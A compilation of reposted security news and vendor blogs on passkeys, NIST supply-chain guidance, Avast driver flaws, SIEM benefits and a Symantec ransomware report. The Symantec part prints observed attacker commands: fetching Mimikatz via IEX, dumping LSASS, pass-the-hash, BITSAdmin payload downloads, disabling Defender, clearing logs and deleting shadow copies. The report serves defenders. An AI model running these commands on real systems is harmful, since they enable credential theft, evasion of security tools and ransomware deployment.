As part of a historic collaboration, the FIDO Alliance, Microsoft, Apple, and Google have announced plans to expand support for a common passwordless sign-in standard. Commonly referred to as passkeys, these multi-device FIDO credentials offer users a platform-native way to safely and quickly sign in to any of their devices without a password. Virtually unable to be phished and available across all your devices, a passkey lets you sign in simply by authenticating with your face, fingerprint, or device PIN.

In addition to a consistent user experience and enhanced security, these new credentials offer two other compelling benefits:

Users can automatically access their passkeys on many of their devices without having to re-enroll for each account. Simply authenticate with your platform on your new device and your passkeys will be there ready to use—protecting you against device loss and simplifying device upgrade scenarios.
With passkeys on your mobile device, you’re able to sign in to an app or service on nearly any device, regardless of the platform or browser the device is running. For example, users can sign in on a Google Chrome browser that’s running on Microsoft Windows, using a passkey on an Apple device.

These new capabilities are expected to become available across Microsoft, Apple, and Google platforms starting in the next year. This type of Web Authentication (WebAuthn) credential represents a new era of authentication, and we’re thrilled to join the FIDO Alliance and others in the industry in supporting a common standard for a safe, consistent authentication experience. Learn more about this open-standards collaboration and exciting passwordless capabilities coming for Microsoft Azure Active Directory in a blog post from Alex Simons, Vice President, Identity Program Management.

Helping you stay secure year-round

Read more about Microsoft’s journey to provide passwordless authentication in a blog post by Joy Chik, Corporate Vice President of Identity. You can also read the complete guide to setting up your passwordless account with Microsoft, including FAQs and download links. And be sure to visit Security Insider for interviews with cybersecurity thought leaders, news on the latest cyberthreats, and lots more.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

Source :
https://www.microsoft.com/security/blog/2022/05/05/this-world-password-day-consider-ditching-passwords-altogether/

NIST Releases Updated Cybersecurity Guidance for Managing Supply Chain Risks

The National Institute of Standards and Technology (NIST) on Thursday released an updated cybersecurity guidance for managing risks in the supply chain, as it increasingly emerges as a lucrative attack vector.

“It encourages organizations to consider the vulnerabilities not only of a finished product they are considering using, but also of its components — which may have been developed elsewhere — and the journey those components took to reach their destination,” NIST said in a statement.

The new directive outlines major security controls and practices that entities should adopt to identify, assess, and respond to risks at different stages of the supply chain, including the possibility of malicious functionality, flaws in third-party software, insertion of counterfeit hardware, and poor manufacturing and development practices.

The development follows an Executive Order issued by the U.S. President on “Improving the Nation’s Cybersecurity (14028)” last May, requiring government agencies to take steps to “improve the security and integrity of the software supply chain, with a priority on addressing critical software.”

It also comes as cybersecurity risks in the supply chain have come to the forefront in recent years, in part compounded by a wave of attacks targeting widely-used software to breach dozens of downstream vendors all at once.

According to the European Union Agency for Cybersecurity’s (ENISA) Threat Landscape for Supply Chain Attacks, 62% of 24 attacks documented from January 2020 to early 2021 were found to “exploit the trust of customers in their supplier.”

“Managing the cybersecurity of the supply chain is a need that is here to stay,” said NIST’s Jon Boyens and one of the publication’s authors. “If your agency or organization hasn’t started on it, this is a comprehensive tool that can take you from crawl to walk to run, and it can help you do so immediately.”

Source :
https://thehackernews.com/2022/05/nist-releases-updated-guidance-for.html

Researchers Disclose Years-Old Vulnerabilities in Avast and AVG Antivirus

Two high-severity security vulnerabilities, which went undetected for several years, have been discovered in a legitimate driver that’s part of Avast and AVG antivirus solutions.

“These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded,” SentinelOne researcher Kasif Dekel said in a report shared with The Hacker News.

Tracked as CVE-2022-26522 and CVE-2022-26523, the flaws reside in a legitimate anti-rootkit kernel driver named aswArPot.sys and are said to have been introduced in Avast version 12.1, which was released in June 2016.

Specifically, the shortcomings are rooted in a socket connection handler in the kernel driver that could lead to privilege escalation by running code in the kernel from a non-administrator user, potentially causing the operating system to crash and display a blue screen of death (BSoD) error.

Vulnerabilities in Avast and AVG Antivirus

Worryingly, the flaws could also be exploited as part of a second-stage browser attack or to perform a sandbox escape, leading to far-reaching consequences.

Following responsible disclosure on December 20, 2021, Avast addressed the issues in version 22.1 of the software released on February 8, 2022. “Rootkit driver BSoD was fixed,” the company said in its release notes.

While there is no evidence that these flaws were abused in the wild, the disclosure comes merely days after Trend Micro detailed an AvosLocker ransomware attack that leveraged another issue in the same driver to terminate antivirus solutions on the compromised system.

Update: SentinelOne notes that the bug dates back to version 12.1, which it claims was released in January 2012. However, Avast’s own release notes show that version 12.1 was shipped in June 2016. We have reached out to SentinelOne for further comment, and we’ll update the story once we hear back.

Source :
https://thehackernews.com/2022/05/researchers-disclose-10-year-old.html

Ransomware: How Attackers are Breaching Corporate Networks

Latest tools, tactics, and procedures being used by the Hive, Conti, and AvosLocker ransomware operations.

Targeted ransomware attacks continue to be one of the most critical cyber risks facing organizations of all sizes. The tactics used by ransomware attackers are continually evolving, but by identifying the most frequently employed tools, tactics, and procedures (TTPs) organizations can gain a deeper understanding into how ransomware groups infiltrate networks and use this knowledge to identify and prioritize areas of weakness.

Symantec, a division of Broadcom Software, tracks various ransomware threats; however, the following three ransomware families are being observed in the majority of recent attacks:

Hive
Conti
Avoslocker

Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model. In the RaaS model the ransomware operators hire affiliates who are responsible for launching the ransomware attacks on their behalf. In most cases affiliates stick to a playbook that contains detailed attack steps laid out by the ransomware operators.

Once initial access to a victim network has been gained, Hive, Conti, and Avoslocker use a plethora of TTPs to help the operators achieve the following:

Gain persistence on the network
Escalate privileges
Tamper with and evade security software
Laterally move across the network

Initial Access

Affiliates for the Hive, Conti, and Avoslocker ransomware operators use a variety of techniques to gain an initial foothold on victim networks. Some of these techniques include:

Spear phishing leading to the deployment of malware, including but not limited to:
- IcedID
- Emotet
- QakBot
- TrickBot
Taking advantage of weak RDP credentials
Exploiting vulnerabilities such as:
- Microsoft Exchange vulnerabilities – CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-26855
- FortiGate firewall vulnerabilities – CVE-2018-13379 and CVE-2018-13374
- Apache Log4j vulnerabily – CVE-2021-44228

In most cases, the spear-phishing emails contain Microsoft Word document attachments embedded with macros that lead to the installation of one of the previously mentioned malware threats. In some instances, attackers use this malware to install Cobalt Strike, which is then used to pivot to other systems on the network. These malware threats are then used to distribute ransomware onto compromised computers.

Persistence

After gaining initial access, Symantec has observed affiliates for all three ransomware families using third-party software such as AnyDesk and ConnectWise Control (previously known as ScreenConnect) to maintain access to victim networks. They also enable default Remote Desktop access in the firewall:

netsh advfirewall firewall set rule group=”Remote Desktop” new enable=yes

Actors are also known to create additional users on compromised systems to maintain access. In some instances we have seen threat actors add registry entries that allow them to automatically log in when a machine is restarted:

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v DefaultUserName /t REG_SZ /d <user> /f

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v AutoAdminLogon /t REG_SZ /d 1 /f

Discovery

During the discovery phase the ransomware actors try to sweep the victim’s network to identify potential targets. Symantec has observed the aforementioned ransomware actors using tools such as the following:

ADRecon – Gathers Active Directory information and generates a report
Netscan – Discovers devices on the network

Credential Access

Mimikatz is a go-to tool for most ransomware groups and Hive, Conti, and Avoslocker are no exception. We have observed them using the PowerShell version of Mimikatz as well as the PE version of the tool. There are also instances where the threat actors directly load the PowerShell version of Mimikatz from GitHub repositories:

powershell IEX((new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/<redacted>/Invoke-Mimikatz.ps1’));Invoke-Mimikatz -DumpCreds

In addition to using Mimikatz, the threat actors have also taken advantage of the native rundll32 and comsvcs.dll combination to dump the LSASS memory:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <process id> lsass.dmp full

Adversaries also dump the SECURITY, SYSTEM, and SAM hives and later extract credentials from the dump. In rare occasions they have also been observed using taskmgr.exe to dump the LSASS memory and later using the dump to extract valuable credentials.

Lateral Movement

Attackers employ tools like PsExec, WMI, and BITSAdmin to laterally spread and execute the ransomware on victim networks. We have also observed the attackers using several other techniques to laterally move across networks.

PsExec

psexec -accepteula @ips.txt -s -d -c CSIDL_WINDOWS\xxx.exe

wmic /node:@C:\share$\comps1.txt /user:”user” /password:”password” process call create “cmd.exe /c bitsadmin /transfer xxx \\IP\share$\xxx.exe %APPDATA%\xxx.exe&%APPDATA%\xxx.exe”

BITSAdmin

bitsadmin /transfer debjob /download /priority normal hxxp://<IP>/ele.dll CSIDL_WINDOWS\ele.dll

Mimikatz

mimikatz.exe “privilege::debug” “sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm hash>”

Defense Evasion

As with a number of other ransomware families, Hive, Conti, and Avoslocker also tamper with various security products that interfere with their goal. We have observed them meddling with security services using the net, taskkill, and sc commands to disable or terminate them. In some cases they also use tools like PC Hunter to end processes. They have also been seen tampering with various registry entries related to security products, since changes to the registry entries can make those products inoperative.

Both Hive and AvosLocker have been observed attempting to disable Windows Defender using the following reg.exe commands.

AvosLocker:

reg add “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender” /v DisableAntiSpyware /t REG_DWORD /d 1 /f

Hive:

reg.exe delete “HKLM\Software\Policies\Microsoft\Windows Defender” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender” /v “DisableAntiSpyware” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender” /v “DisableAntiVirus” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine” /v “MpEnablePus” /t REG_DWORD /d “0” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v “DisableBehaviorMonitoring” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v “DisableIOAVProtection” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v “DisableOnAccessProtection” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v “DisableRealtimeMonitoring” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v “DisableScanOnRealtimeEnable” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\Reporting” /v “DisableEnhancedNotifications” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet” /v “DisableBlockAtFirstSeen” /t REG_DWORD /d “1” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet” /v “SpynetReporting” /t REG_DWORD /d “0” /f

reg.exe add “HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet” /v “SubmitSamplesConsent” /t REG_DWORD /d “0” /f

reg.exe add “HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger” /v “Start” /t REG_DWORD /d “0” /f

reg.exe add “HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger” /v “Start” /t REG_DWORD /d “0” /f

reg.exe delete aHKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run” /v “Windows Defender” /f

reg.exe delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” /v “Windows Defender” /

Disabling the default Windows firewall is also one of the techniques we have seen being used by these ransomware families:

netsh advfirewall set allprofiles state off

To cover their tracks on a victim system the actors may also clear the Windows event log:

wevtutil.exe cl system

wevtutil.exe cl security

wevtutil.exe cl application

powershell -command “Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }”

Impact

Adversaries tend to disable or tamper with operating system settings in order to make it difficult for administrators to recover data. Deleting shadow copies is a common tactic threat actors perform before starting the encryption process. They perform this task by using tools like Vssadmin or WMIC and running one of the following commands:

vssadmin.exe delete shadows /all /quiet

wmic.exe shadowcopy delete

We have also seen BCDEdit being used to disable automatic system recovery and to ignore failures on boot:

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

bcdedit.exe /set {default} recoveryenabled no

In some instances the actors delete the safe mode settings in the registry to stop security product services from starting in safe mode:

reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\<service> /f

Exfiltration

Attackers commonly exfiltrate critical data from a victim’s environment before encrypting it. They then use the stolen data in an attempt to extort a ransom from victims. We have observed threat actors using the following cloud services to exfiltrate data:

https://anonfiles.com
https://mega.nz
https://send.exploit.in
https://ufile.io
https://www.sendspace.com

We have also seen attackers use the following tools for data exfiltration:

Filezilla
Rclone

Conclusion

The TTPs outlined in this blog are a snapshot of the current ransomware threat landscape. The TTPs used by these threat actors are constantly evolving, with groups continually tweaking their methods in a bid to outmaneuver their targets’ security defenses. As such, organizations need to be vigilant and employ a multi-layered security approach.

Symantec Protection

Symantec Endpoint Protection (SEP) protects against ransomware attacks using multiple static and dynamic technologies.

AV Protection

Ransom.Hive
Ransom.Conti
Ransom.AvosLocker
Backdoor.Cobalt
Hacktool.Mimikatz
Trojan.IcedID*
Trojan.Emotet*
W32.Qakbot*
Trojan.Trickybot*

Behavioral Protection

SONAR.RansomHive!g2
SONAR.RansomHive!g3
SONAR.RansomHive!g4
SONAR.RansomAvos!g2
SONAR.RansomConti!g1
SONAR.RansomConti!g3
SONAR.RansomConti!g4
SONAR.Ransomware!g30
SONAR.RansomGregor!g1
SONAR.SuspLaunch!gen4
SONAR.SuspLaunch!g18
SONAR.Ransom!gen59
SONAR.Ransomware!g26
SONAR.Cryptlck!g171

Intrusion Prevention System (IPS) detections

IPS blocks initial access, persistence, and lateral movement. SEP’s Audit Signatures are intended to raise awareness of potentially unwanted traffic on the network. By default, Audit Signatures do not block. Administrators reviewing the logs of IPS events in their network can note these Audit events and decide whether or not to configure the corresponding Audit Signatures to block the traffic.

The following is a list of Audit Signatures that can be enabled to block, through policies, activity related to the use of software or tools such as AnyDesk, ScreenConnect, and PsExec.

Symantec recommends that you have intrusion prevention enabled on all your devices including servers.

Adaptive Protection

Symantec Adaptive Protection can help protect against lateral movement and ransomware execution techniques used by an attacker. If you are not using tools like PsExec, WMIC, and BITSAdmin in your environment then you should “Deny” these applications and actions using Symantec Adaptive Protection policies.

Recommendations

Customers are advised to enable their Intrusion Prevention System (IPS) on desktops and servers for best protection. Click here for instructions on enabling the IPS Server Performance Tuning feature. This feature should be enabled on servers to allow additional tuning for the IPS module and definitions in high-throughput scenarios.
Customers are also advised to enable Proactive Threat Protection, also known as SONAR, which is Symantec’s behavior-based protection.
Customers should also keep Symantec Endpoint Protection (SEP) up-to-date with the latest version and definition set.
Symantec has multi-layer protection technologies for all the threat types. To provide the best protection, all SEP features should be enabled for Windows desktops and servers.

Source :
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

5 benefits of integrating corporate SIEM systems

A company can accumulate massive amounts of information that security analysts are not able to monitor instantly. This can mean that priority security alerts either go unnoticed or are considered a false alarm because the appropriate technology is not available, which results in organizations failing to take action in time.

A Security Information and Event Management (SIEM) system specializes in prioritizing critical alerts over information received in real time, thus adapting to the needs of all organizations. This is achieved by incorporating multiple intelligence feeds and logs according to the criteria and needs set by the IT department. This makes it possible to categorize events and contextualize cybersecurity threat alerts.

The main benefits of having corporate SIEM systems are as follows:

A SIEM system ensures that alerts reach the right people so that they can carry out contextualized research and apply remediation mechanisms. This saves time as analysts are not required to interpret data from so many different sources.
It reduces the company’s costs, both in terms of infrastructure – by gaining full visibility into how the systems accessing the network are using it – and in terms of consuming resources. For example, a SIEM system can analyze the bandwidth machines are using and generate an event warning if one of them is consuming more resources than it should, which the IT department then checks for anomalies. SIEM enables better management of security resources, which translates into cost savings.
It restores cybersecurity configurations if they have been changed by mistake, which could leave an organization dangerously exposed to threats. SIEM can automatically detect a change in the configuration and generate an event to alert the company’s security analyst, who reviews the change and can restore the previous configuration if the new one is potentially hazardous to the company.
It detects operational maintenance activities in the business infrastructure that could pose a risk to the organization. Cybersecurity administrators incorporate the function of creating an event before a change to the company’s maintenance activities log, as well as in Windows. Then if there is any malicious activity they can decide whether or not to validate these adjustments.
It provides cyberattack control and protection in order to act before it becomes an irreversible problem, filtering whether it is a real attack or a false alarm. Known or unknown attacks are analyzed whether they are malwareless attacks (which resort to the legitimate tools of the system itself) or DDoS attacks or advanced persistent threats (APTs).

In the case of malware attacks, the usual security logs can send alerts for both real attacks and false alarms. To avoid alert saturation, SIEM solutions use event correlation to determine accurately whether or not it is a malware attack, as well as to detect the potential access points for the attack.

In DDoS attacks, SIEM is able to flag such an event from web traffic logs, prioritizing the event and sending it to an analyst for investigation before causing a slowdown or a total company service outage.

Finally, due to their complexity, when advanced persistent threats are detected they may not trigger alerts or be considered false alarms. Having a SIEM solution helps demonstrate a pattern of anomalous behavior, flagging it as a real concern for security analysts to investigate.

Given the differentiating value of this solution, WatchGuard has incorporated its SIEMFeeder module into WatchGuard EDR and EDPR to collect and correlate the status of IT systems, enabling organizations to turn large volumes of data into useful information for decision making.

Source :
https://www.watchguard.com/wgrd-news/blog/5-benefits-integrating-corporate-siem-systems